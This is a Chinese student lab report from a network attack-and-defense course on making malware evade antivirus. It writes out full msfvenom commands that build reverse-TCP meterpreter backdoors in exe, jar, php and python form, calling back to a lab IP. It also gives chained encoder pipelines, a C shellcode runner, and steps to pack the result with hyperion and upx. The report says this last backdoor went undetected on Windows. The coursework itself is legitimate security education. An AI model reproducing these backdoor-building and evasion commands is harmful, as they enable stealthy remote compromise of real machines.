20192404 2021-2022-2 《网络与系统攻防技术》实验三实验报告

《网络与系统攻防技术》实验三实验报告

一、实验内容

1.1

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀

如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

1.2实验要求

掌握免杀原理与技术
回答问题

(1)杀软是如何检测出恶意代码的?
回答:
基于特征码:如果一个可执行文件(或其他运行的库、脚本等)包含有类似恶意代码的一段或多段数据则被杀软认为是恶意代码。

启发式恶意软件检测:如果一个软件做一些恶意软件通常干的典型例子,就把它当成一个恶意软件。

基于行为的恶意软件检测:在启发式基础上对软件行为进行监控
(2)免杀是做什么?
回答:对恶意软件做一些操作,使它不被杀毒软件所检测
(3)免杀的基本方法有哪些?
回答:
改变特征码
只有EXE:加壳
有shellcode:利用shellcode生成可执行文件
有源代码:用其他语言进行重写再编译
改变行为:改变通讯方式或操作模式

二、实验准备

首先需要完成实验二的内容
准备好在https://www.virustotal.com/gui/home/upload上进行测试

三、实验过程

3.1正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

首先我们在VirusTotal上来检测实验二中的后门程序:

发现检测率为52/67

接下来我们使用Metasploit的编码器尝试使后门程序能够免杀

首先使用x86/shikata_ga_nai对后门程序进行一次编码:
代码为msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.190.128 LPORT=2404 -f exe > 192404backEncode.exe
然后对生成的exe文件在VirusTotal进行检测:

发现检测率为:50/69

接下来我们再尝试通过x86/shikata_ga_nai对后门程序十次编码的方法进行免杀
代码:msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.190.128 LPORT=2404 -f exe > 192404backEncode2.exe
然后对192404backEncode2.exe进行检测:

检测率为:50/69,发现并没有什么用。

接着我们尝试通过不同编码器组合多次编码的方法进行免杀
代码:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2404 -f raw | msfvenom -a x64 --platform windows -e x86/shikata_ga_nai -i 5 -f raw | msfvenom -a x64 --platform windows -e x86/alpha_upper -i 5 -f raw | msfvenom -a x64 --platform windows -e x86/shikata_ga_nai -i 5 -f raw | msfvenom -a x64 --platform windows -e x86/countdown -c 5 -f exe > 192404backEncodeMix.exe
然后我们对生成的192404backEncodeMix.exe进行检测

检测率:48/69

然后我们再尝试生成其他文件的格式,首先试试生成.jar格式的文件
代码:msfvenom -p java/shell_reverse_tcp LHOST=192.168.190.128 LPORT=2404 -f jar > 192404backEncode.jar
然后我们对192404backEncode.jar进行检测:

检测率为:37/59

然后是试试生成.php格式的文件
代码:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2404 -f raw > 192404backEncode.php
接下来对192404backEncode.php进行检测

检测率为:27/57

最后是生成.py格式的文件
代码为:msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2404 > 192404backdoor.py
接下来我们对192404backdoor.py进行检测

检测率为:17/58

3.1.2加壳工具veil

首先在root权限下安装veil
apt -y install veil
/usr/share/veil/config/setup.sh

安装好veil后,在终端中生成后门程序:

使用VirusTotal检测生成的后门程序

3.2 使用C + shellcode编程

首先使用metasploit生成用于反弹连接获取shell的shellcode
命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2404 -f c > 192404shellcode.c

生成的C语言文件:

然后使用如下命令添加主函数:
cat >>192404shellcode.c<<EOF
int main(){
int (func)() = (int()())buf;
func();
}
EOF

结果:

然后将生成的C源代码使用交叉编译的方法编译成Windows的可执行程序
代码为:i686-w64-mingw32-gcc 192404shellcode.c -o 192404shellcode.exe
使用VirusTotal检测编译后的后门程序

检测率为:37/68

3.3 通过组合应用各种技术实现恶意代码免杀

首先我们使用C + Shellcode技术生成C源代码文件,在生成命令中使用编码器x86/shikata_ga_nai进行10次编码
代码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.190.128 LPORT=2404 -f c > 192404shellcode2.c
使用如下命令添加主函数:
cat >>192404shellcode2.c<<EOF
int main(){
int (func)() = (int()())buf;
func();
}
EOF

将生成的C源代码使用交叉编译的方法编译成Windows的可执行程序
命令i686-w64-mingw32-gcc 192404shellcode2.c -o 192404shellcode2.exe
使用hyperion给程序加上一层加密壳,命令如下:
wine /usr/share/windows-resources/hyperion/hyperion.exe -v 192404shellcode2.exe 192404shellcode2.hyed.exe
然后再使用upx给程序加上一层压缩壳,命令如下:
upx 192404shellcode2.hyed.exe -o 192404shellcode2.upxed.exe
将生成的可执行程序传到Windows上,杀毒软件没有报毒

四、问题及解决方案

1.veil下载不成功问题
解决:经过多次下载后发现没联网,虚拟机断网了,之后根据资料重新初始化了网络设置问题才得到解决
2.veil安装不成功
解决
3.在加壳操作时,使用hyperion给后门程序加上加密壳时提示hyperion.exe不存在
解决:重新找到hyperion的路径为:/usr/share/windows-resources/hyperion/hyperion.exe,找到路径之后使用wine的命令执行hyperion.exe就可以了

五、心得体会

本次实验其实总体上来说还可以,但是在安装veil时我遇到了许许多多的问题,导致veil迟迟安装不成功,不够后来经过同学的帮助以及自己查找资料,问题得到了基本上的解决,在使我对课程内容更充分的学习的同时,让我练习了解决一些奇奇怪怪的问题,希望以后的实验能够更顺利的完成,学到更多知识!

posted @ 2022-04-10 21:01  20192404—贾智博  阅读(12)  评论(0编辑  收藏  举报